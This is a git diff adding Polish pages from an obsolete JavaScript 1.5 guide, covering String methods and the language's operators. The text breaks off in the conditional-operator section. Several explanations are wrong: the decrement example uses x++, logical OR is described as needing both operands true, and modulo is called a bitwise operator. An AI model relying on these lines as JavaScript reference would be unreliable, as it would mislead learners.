+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/big">big</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/blink">blink</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/bold">bold</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/fixed">fixed</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/italics">italics</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/small">small</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/strike">strike</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/sub">sub</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/sup">sup</a></td>
+ <td>Tworzy w HTML sformatowany łańcuch znaków.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/charAt">charAt</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/charCodeAt">charCodeAt</a></td>
+ <td>Zwraca znak lub kod znaku znajdującego się na określonej pozycji łańcucha znaków.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/indexOf">indexOf</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/lastIndexOf">lastIndexOf</a></td>
+ <td>Zwraca odpowiednio pozycję określonego podciągu w łańcuchu znaków lub ostatnią pozycję określonego podciągu.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/link">link</a></td>
+ <td>Tworzy odnośnik HTML.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/concat">concat</a></td>
+ <td>Łączy tekst z dwóch łańcuchów i zwraca nowy łańcuch znaków.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/fromCharCode">fromCharCode</a></td>
+ <td>Buduje łańcuch znaków z określonej sekwencji wartości Unicode. Jest metoda klasy String, a nie instancji String.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/split">split</a></td>
+ <td>Dzieli obiekt String na tablicę łańcuchów poprzez rozdzielenie łańcucha znaków na podciągi.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/slice">slice</a></td>
+ <td>Wycina fragment łańcucha znaków i zwraca nowy łańcuch.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/substring">substring</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/substr">substr</a></td>
+ <td>Zwraca określony podciąg łańcucha znaków, poprzez określenie indeksów początkowych i końcowych lub też określenie indeksu początkowego i długości.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/match">match</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/replace">replace</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/search">search</a></td>
+ <td>Pracuje z wyrażeniami regularnymi.</td>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/toLowerCase">toLowerCase</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/toUpperCase">toUpperCase</a></td>
+ <td>Zwraca łańcuch znaków odpowiednio z wszystkimi małymi lub wszystkimi dużymi znakami.</td>
+ </tr>
+ </tbody>
+</table>
+<p><small><b>Tabela 7.4: Metody instancji String</b></small></p>
+<h3 id="Litera.C5.82y_znakowe_nie_s.C4.85_obiektami_String" name="Litera.C5.82y_znakowe_nie_s.C4.85_obiektami_String">Literały znakowe nie są obiektami String</h3>
+<p>Obiekt <code>String</code> jest obiektem opakowującym wokół pierwotnego typu danych łańcuchu znaków. Nie myl literału znakowego z obiektem <code>String</code>. Na przykład poniższy kod tworzy literał <code>s1</code>, jak również obiekt String <code>s2</code>:</p>
+<pre>s1 = "foo" //tworzy wartość literału znakowego
+s2 = new String("foo") //tworzy obiekt String
+</pre>
+<p>Możesz wywołać dowolną metodę obiektu String na wartości literału znakowego - JavaScript automatycznie skonwertuje literał znakowy do tymczasowego obiektu <code>String</code>, wywoła metodę, a następnie pozbędzie się tymczasowego obiektu <code>String</code>. Możesz również użyć własności <code>String.length</code> z literałem znakowym. Możesz również użyć własności <code>String.length</code> z literałem znakowym.</p>
+<p>Powinieneś użyć literału znakowego, chyba że potrzebujesz szczególnie obiektu String, ponieważ obiekty <code>String</code> mogą zachowywać się nieintuicyjnie. Przykładowo:</p>
+<pre>s1 = "2 + 2" //tworzy wartość literału znakowego
+s2 = new String("2 + 2")//tworzy obiekt String
+eval(s1) //zwraca liczbę 4
+eval(s2) //zwraca łańcuch "2 + 2"
+</pre>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt RegExp", "Przewodnik po języku JavaScript 1.5:Języki oparte na klasach vs. oparte na prototypach") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/index.html
new file mode 100644
index 0000000000..cc916dff5d
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/index.html
@@ -0,0 +1,112 @@
+---
+title: Operatory
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>
+</p>
+<h3 id="Operatory" name="Operatory"> Operatory </h3>
+<p>JavaScript posiada następujące typy operatorów. Ten temat opisuje operatory i wartości informacyjne o operatorach pierwszeństwa.
+</p>
+<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania">Operatory przypisania</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_por%c3%b3wnania">Operatory porównania</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne">Operatory arytmetyczne</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_bitowe">Operatory bitowe</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne">Operatory logiczne</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%c5%82a%c5%84cuchach">Operacje na łańcuchach</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne">Operatory specjalne</a>
+</li></ul>
+<p>JavaScript posiada po dwa operatory bitowe i unarne. Operator bitowy zwraca dwa argumenty, jeden przed operatorem i jeden za operatorem: </p>
+<pre>argument1 operator argument2
+</pre>
+<p>Na przykład, <code>3+4</code> lub <code>x*y</code>.
+Operator unarny zwraca pojedynczy znak argumentu, znaki te zapisujemy przed lub za operatorem:
+</p>
+<pre>operator argument
+</pre>
+<p>lub
+</p>
+<pre>argument operator
+</pre>
+<p>Na przykład, <code>x++</code> lub <code>++x</code>.
+</p><p>Uzupełniając, JavaScript posiada potrójny operator, jakim jest operator warunkowy. Potrójny operator zwraca trzy argumenty.
+</p>
+<h4 id="Pierwsze.C5.84stwo_operator.C3.B3w" name="Pierwsze.C5.84stwo_operator.C3.B3w"> Pierwszeństwo operatorów </h4>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Typ operatora</th>
+<th>Indywidualny operator</th>
+</tr>
+<tr>
+<td>przecinek</td>
+<td>,</td>
+</tr>
+<tr>
+<td>przypisania </td>
+<td>= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |=</td>
+</tr>
+<tr>
+<td>warunkowy</td>
+<td>?:</td>
+</tr>
+<tr>
+<td>logiczne "LUB" </td>
+<td>||</td>
+</tr>
+<tr>
+<td>logiczne "I"</td>
+<td>&amp;&amp;</td>
+</tr>
+<tr>
+<td>bitowe "LUB"</td>
+<td>|</td>
+</tr>
+<tr>
+<td>bitowe "XOR" </td>
+<td>^</td>
+</tr>
+<tr>
+<td>bitowe "I"</td>
+<td>&amp;</td>
+</tr>
+<tr>
+<td>porównanie</td>
+<td>== != === !==</td>
+</tr>
+<tr>
+<td>relacji</td>
+<td>&lt; &lt;= &gt; &gt;= in instanceof</td>
+</tr>
+<tr>
+<td>przesunięcie bitowe </td>
+<td>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</td>
+</tr>
+<tr>
+<td>dodawanie/odejmowanie </td>
+<td>+ -</td>
+</tr>
+<tr>
+<td>mnożenie/dzielenie/modulo </td>
+<td>* / %</td>
+</tr>
+<tr>
+<td>negacja/inkrementacja/dekrementacja </td>
+<td>! ~ - + ++ -- typeof void delete</td>
+</tr>
+<tr>
+<td>nazwa / tworzenie przykładu </td>
+<td>() new</td>
+</tr>
+<tr>
+<td>pamięci </td>
+<td>. []</td>
+</tr>
+</tbody></table>
+<p><small><b>Tabela: Operatory pierwszeństwa</b></small>
+</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Wyrażenia", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory przypisania") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs", "ja": "ja/Core_JavaScript_1.5_Guide/Operators" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operacje_na_łańcuchach/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operacje_na_łańcuchach/index.html
new file mode 100644
index 0000000000..5406be0bbe
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operacje_na_łańcuchach/index.html
@@ -0,0 +1,17 @@
+---
+title: Operacje na łańcuchach
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operacje_na_łańcuchach
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>
+</p>
+<h4 id="Operatory_.C5.82a.C5.84cuchowe" name="Operatory_.C5.82a.C5.84cuchowe"> Operatory łańcuchowe </h4>
+<p>Oprócz operatorów porównania łańcuchów istnieje operator konkatenacji (+), który konkatenuje dwa łańcuchy zwracając łańcuch będący połączeniem obu argumentów. Na przykład <code>"my " + "string"</code> zwraca łańcuch znaków <code>"my string"</code>.
+</p><p>Skróconego operatora += też można używać do konkatenacji łańcuchów. Na przykład jeśli zmienna <code>mystring</code> ma wartość "alpha", to wyrażenie <code>mystring += "bet"</code> przyjmuje wartość "alphabet" i wartość ta jest nadawana zmiennej <code>mystring</code>.
+</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory logiczne", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory specjalne") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/String_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_de_cadenas_de_caracteres_(string)", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_li\u00e9s_aux_cha\u00eenes", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/String_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/String_Operators" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_arytmetyczne/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_arytmetyczne/index.html
new file mode 100644
index 0000000000..a9f27489ad
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_arytmetyczne/index.html
@@ -0,0 +1,48 @@
+---
+title: Operatory arytmetyczne
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_arytmetyczne
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>
+</p>
+<h3 id="Operatory_arytmetyczne" name="Operatory_arytmetyczne"> Operatory arytmetyczne </h3>
+<p>Operatory arytmetyczne pobierają wartości liczbowe (albo literowy lub zmienny) jako własne argumenty i zwracają pojedynczą wartość liczbową. Podstawowymi operatorami arytmetycznymi są <b>dodawanie (+)</b>, <b>odejmowanie (-)</b>, <b>mnożenie (*)</b>, i <b>dzielenie (/)</b>. Wspomniane operatory działają także w innych językach programowania (oprócz operatora /, który zwraca wynik dzielenia w wartościach dziesiętnych w JavaScript), dzielenie nie zaokrągla wartości dziesiętnej, jak to robi w językach programowania, takich jak C i Java. Na przykład:
+</p>
+<pre>1/2 //zwraca 0.5 w JavaScript
+1/2 //zwraca 0 w Java
+</pre>
+<p>Uzupełniając, JavaScript dostarcza operatory arytmetyczne wyliczone w poniższej tabeli.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Operator</th>
+<th>Opis</th>
+<th>Przykład</th>
+</tr>
+<tr>
+<td><b>%</b><br>(Modulo)</td>
+<td>Operator bitowy. Zwraca liczbę całkowitą z resztą podczas dzielenie dwóch argumentów.</td> <td>12 % 5 zwraca 2.</td>
+</tr>
+<tr>
+<td><b>++</b><br>(Inkrementacji)</td>
+<td>Operator unarny. Zwiększa o jeden argument. Jeśli użyjemy operator z przedrostkiem (<b>++x</b>), zwróci wartość argumentu zwiększonego o jeden; jeśli użyjemy argumentu i za nim przedrostek (<b>x++</b>), zwróci wartość argumentu z przed zwiększenia o jeden.</td>
+<td>Jeśli <code><b>x</b></code> jest 3, potem <code><b>++x</b></code> ustawia <code><b>x</b></code> na 4 i zwraca 4, podczas gdy <code><b>x++</b></code> ustawia <code><b>x</b></code> na 4 i zwraca 3.</td>
+</tr>
+<tr>
+<td><b>--</b><br>(Dekrementacji)</td>
+<td>Operator unarny. Zmniejszy o jeden argument. Zwracana wartość jest analogiczna do zapisu operatora inkrementacji.</td>
+<td>Jeśli <code><b>x</b></code> jest 3, potem <code><b>--x</b></code> ustawia <code><b>x</b></code> na 2 i zwraca 2, podczas gdy <code><b>x++</b></code> ustawia <code><b>x</b></code> na 2 i zwraca 3.</td>
+</tr>
+<tr>
+<td><b>-</b><br>(Negacja unarna)</td>
+<td>Operator unarny. Zwraca negacje tego argumentu.</td>
+<td>Jeśli <code><b>x</b></code> jest 3, potem <code><b>-x</b></code> zwraca -3.</td>
+</tr>
+</tbody></table>
+<p><small><b>Tabela: Operatory arytmetyczne</b></small>
+</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory porównania", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory bitowe") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_aritm\u00e9ticos", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_arithm\u00e9tiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_logiczne/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_logiczne/index.html
new file mode 100644
index 0000000000..b6f33ac4ff
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_logiczne/index.html
@@ -0,0 +1,72 @@
+---
+title: Operatory logiczne
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_logiczne
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>
+</p>
+<h3 id="Operatory_logiczne" name="Operatory_logiczne"> Operatory logiczne </h3>
+<p>Operatory logiczne są typem użytym z wartością Boolean (logiczną); zwracają one wartość logiczną (true lub false). Jednakże, operatory &amp;&amp; i || aktualnie zwracają wartość jednego ze określonych argumentów, więc jeśli któryś z tych operatorów jest użyty z wartością nielogiczną, to zwróci wartość nie-logiczną. Operatory logiczne są opisane w następującej tablicy.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Operatory</th>
+<th>Użycie</th>
+<th>Opis</th>
+</tr>
+<tr>
+<td>&amp;&amp;</td>
+<td>expr1 &amp;&amp; expr2</td>
+<td>(Iloczyn logiczny AND) Zwraca expr1, jeśli jest konwertowany do false; w innym przypadku, zwraca expr2. Tak więc, kiedy użyjemy wartość logiczną, &amp;&amp; zwróci true jeśli oba argumenty są true; w innym przypadku, zwróci false.</td>
+</tr>
+<tr>
+<td>||</td>
+<td>expr1 || expr2</td>
+<td>(Suma logiczna OR) Zwróć expr1, jeśli jest konwertowany do true; w innym wypadku, zwróci expr2 logiczną. Tak więc, kiedy użyjemy wartość || zwróci true, jeśli oba argumenty są prawdziwe; jeśli oba są fałszywe, zwróci false.</td>
+</tr>
+<tr>
+<td>!</td>
+<td>!expr</td>
+<td>(Negacja logiczna NOT) Zwraca false, jeśli jest pojedynczy argument konwertuje do true; w innym przypadku, zwróci true.</td>
+</tr>
+</tbody></table>
+<p><small><b>Tabela: Operatory logiczne</b></small>
+</p><p>Przykłady wyrażeń, które potrafią być konwertowane do false, są to te, które prawie są ocenione do null, 0, pusty łańcuch (""), lub niezidentyfikowany.
+</p><p>Następujący kod pokazuje przykład operatora &amp;&amp; (logiczny AND).
+</p>
+<pre>a1=true &amp;&amp; true // t &amp;&amp; t zwraca true
+a2=true &amp;&amp; false // t &amp;&amp; f zwraca false
+a3=false &amp;&amp; true // f &amp;&amp; t zwraca false
+a4=false &amp;&amp; (3 == 4) // f &amp;&amp; f zwraca false
+a5="Cat" &amp;&amp; "Dog" // t &amp;&amp; t zwraca Dog
+a6=false &amp;&amp; "Cat" // f &amp;&amp; t zwraca false
+a7="Cat" &amp;&amp; false // t &amp;&amp; f zwraca false
+</pre>
+<p>Następujący kod pokazuje przykład operatora || (logiczny OR).
+</p>
+<pre>o1=true || true // t || t zwraca true
+o2=false || true // f || t zwraca true
+o3=true || false // t || f zwraca true
+o4=false || (3 == 4) // f || f zwraca false
+o5="Cat" || "Dog" // t || t zwraca Cat
+o6=false || "Cat" // f || t zwraca Cat
+o7="Cat" || false // t || f zwraca Cat
+</pre>
+<p>Następujący kod pokazuje przykład operatora ! (logiczny NOT).
+</p>
+<pre>n1=!true // !t zwraca false
+n2=!false // !f zwraca true
+n3=!"Cat" // !t zwraca false
+</pre>
+<h4 id="Skr.C3.B3cona_ocena" name="Skr.C3.B3cona_ocena"> Skrócona ocena </h4>
+<p>Wyrażenia logiczne są oceniane od lewego do prawego, są one testowane dla ewentualnych "skrótów" potrafiących wykonać wyrażenie wykonując następujące reguły: </p>
+<ul><li> <code>false</code> &amp;&amp; <i>coś_tam</i> jest skrótem wykonującym wyrażenie fałszywe. </li><li> <code>true</code> || <i>coś_tam</i> jest skrótem wykonującym wyrażenie prawdziwe.
+</li></ul>
+<p>Zasady te są gwarancją, która te ewolucje zawsze poprawi. Notatka, która część <i>coś_tam</i> z powyższego wyrażenia jest nieoceniana, więc któraś strona nie wykona w pełni warunku jaki został założony.
+</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory bitowe", "Przewodnik po języku JavaScript 1.5:Operatory:Operacje na łańcuchach") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_l\u00f3gicos", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_logiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Logical_Operators" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_porównania/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_porównania/index.html
new file mode 100644
index 0000000000..5be8b2d982
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_porównania/index.html
@@ -0,0 +1,73 @@
+---
+title: Operatory porównania
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_porównania
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>
+</p>
+<h3 id="Operatory_por.C3.B3wnania" name="Operatory_por.C3.B3wnania"> Operatory porównania </h3>
+<p>Operator porównania porównuje jego argumenty i zwraca logiczna wartość bazującą na sprawdzeniu czy wartość jest prawdziwa (true). Argumenty są wartościami liczbowymi, łańcuchowymi, logicznymi lub obiektowymi. Wartości łańcuchowe są porównywane z zasadami opartymi na zasadach zawartych w leksykonach, używając wartości Unicode. Poniższa tabela opisuje operatory porównania.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Operator</th>
+<th>Opis</th>
+<th>Przykłady powrotu true<sup>1</sup></th>
+</tr>
+<tr>
+<td>Jest równe (==)</td>
+<td>Zwraca true, jeśli argumenty są równe. Jeśli dwa argumenty nie są tego samego typu, JavaScript próbuje konwertować argument do odpowiedniego typu dla porównania.</td>
+<td><code>3 == var1<br>
+<p>"3" == var1<br>
+</p>
+3 == '3'</code></td>
+</tr>
+<tr>
+<td>Nie jest równe (!=)</td>
+<td>Zwraca true, jeśli argumenty nie są równe. Jeśli dwa argumenty nie są tego samego typu, JavaScript próbuje konwertować argument do odpowiedniego typu dla porównania.</td>
+<td><code>var1 != 4<br>
+var2 != "3"</code></td>
+</tr>
+<tr>
+<td>Ściśle równe (===)</td>
+<td>Zwraca true, jeśli argumenty są równe i są tego samego typu.</td>
+<td><code>3 === var1</code></td>
+</tr>
+<tr>
+<td>Ściśle nie jest równe (!==)</td>
+<td>Zwraca true, jeśli argumenty nie są równe i/lub nie są tego samego typu.</td>
+<td><code>var1 !== "3"<br>
+3 !== '3'</code></td>
+</tr>
+<tr>
+<td>Jest większe (&gt;)</td>
+<td>Zwraca true, jeśli lewy argument jest większy niż prawy argument.</td>
+<td><code>var2 &gt; var1</code></td>
+</tr>
+<tr>
+<td>Jest większe lub równe (&gt;=)</td>
+<td>Zwraca true, jeśli lewy argument jest większy lub równy prawemu argumentowi.</td>
+<td><code>var2 &gt;= var1<br>
+var1 &gt;= 3</code></td>
+</tr>
+<tr>
+<td>Jest mniejsze (&lt;)</td>
+<td>Zwraca true, jeśli lewy argument jest mniejszy niż prawy argument.</td>
+<td><code>var1 &lt; var2</code></td>
+</tr>
+<tr>
+<td>Jest mniejsze lub równe (&lt;=)</td>
+<td>Zwraca true, jeśli lewy argument jest mniejszy lub równy prawemu argumentowi. </td>
+<td><code>var1 &lt;= var2<br>
+var2 &lt;= 5</code></td>
+</tr>
+</tbody></table>
+<p><small><b>Tabela: Operatory porównania</b></small>
+</p><p><small><sup>1</sup>Ten przykład podsumowuje, że <code>var1</code> ma przydzieloną wartość 3 i <code>var2</code> ma przydzieloną wartość 4.</small>
+</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory przypisania", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory arytmetyczne") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_de_comparaci\u00f3n", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_de_comparaison", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_przypisania/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_przypisania/index.html
new file mode 100644
index 0000000000..8af382eee6
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_przypisania/index.html
@@ -0,0 +1,67 @@
+---
+title: Operatory przypisania
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_przypisania
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Operatory_przypisania" name="Operatory_przypisania">Operatory przypisania</h3>
+<p>Operator przypisania przypisuje wartość do jego lewego argumentu bazującego na wartości z jego prawego argumentu. Zasadnicze znaczenie posiada operator (=), który znaczy 'Przypisanie' i przypisuje wartość prawego argumentu do lewego. Jest to: x = y przypisanie wartości y do x.</p>
+<p>Inne operatory przypisania są stenografią dla standardowych operacji, jakie widzimy w poniższej tabeli.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Skrócony operator</th>
+ <th>Znaczenie</th>
+ </tr>
+ <tr>
+ <td>x += y</td>
+ <td>x = x + y</td>
+ </tr>
+ <tr>
+ <td>x -= y</td>
+ <td>x = x - y</td>
+ </tr>
+ <tr>
+ <td>x *= y</td>
+ <td>x = x * y</td>
+ </tr>
+ <tr>
+ <td>x /= y</td>
+ <td>x = x / y</td>
+ </tr>
+ <tr>
+ <td>x %= y</td>
+ <td>x = x % y</td>
+ </tr>
+ <tr>
+ <td>x &lt;&lt;= y</td>
+ <td>x = x &lt;&lt; y</td>
+ </tr>
+ <tr>
+ <td>x &gt;&gt;= y</td>
+ <td>x = x &gt;&gt; y</td>
+ </tr>
+ <tr>
+ <td>x &gt;&gt;&gt;= y</td>
+ <td>x = x &gt;&gt;&gt; y</td>
+ </tr>
+ <tr>
+ <td>x &amp;= y</td>
+ <td>x = x &amp; y</td>
+ </tr>
+ <tr>
+ <td>x ^= y</td>
+ <td>x = x ^ y</td>
+ </tr>
+ <tr>
+ <td>x |= y</td>
+ <td>x = x | y</td>
+ </tr>
+ </tbody>
+</table>
+<p><small><b>Tabela: Operatory 'Przypisanie'</b></small></p>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory porównania") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_specjalne/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_specjalne/index.html
new file mode 100644
index 0000000000..f50067e328
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operatory_specjalne/index.html
@@ -0,0 +1,227 @@
+---
+title: Operatory specjalne
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_specjalne
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>
+</p>
+<h3 id="Operatory_specjalne" name="Operatory_specjalne"> Operatory specjalne </h3>
+<p>JavaScript udostępnia następujące operatory specjalne:
+</p>
+<ul><li> {{ Anch("Operator warunkowy") }}
+</li><li> {{ Anch("Operator przecinka") }}
+</li><li> {{ Anch("delete") }}
+</li><li> {{ Anch("in") }}
+</li><li> {{ Anch("instanceof") }}
+</li><li> {{ Anch("new") }}
+</li><li> {{ Anch("this") }}
+</li><li> {{ Anch("typeof") }}
+</li><li> {{ Anch("void") }}
+</li></ul>
+<h4 id="Operator_warunkowy" name="Operator_warunkowy"> Operator warunkowy </h4>
+<p><b>Operator warunkowy</b> jest tylko operatorem JavaScript, który pobiera trzy argumenty. Operator może mieć jedną lub dwie wartości oparte na warunku. Składnia:
+</p>
+<pre>condition ? val1 : val2
+</pre>
+<p>Jeśli <code>condition</code> (warunek) jest prawdziwy (true), operator ma wartość <code>val1</code>. W przeciwnym razie posiada wartość <code>val2</code>. Możesz użyć operatora warunkowego wszędzie, gdzie będziesz używał operatorów standardowych.
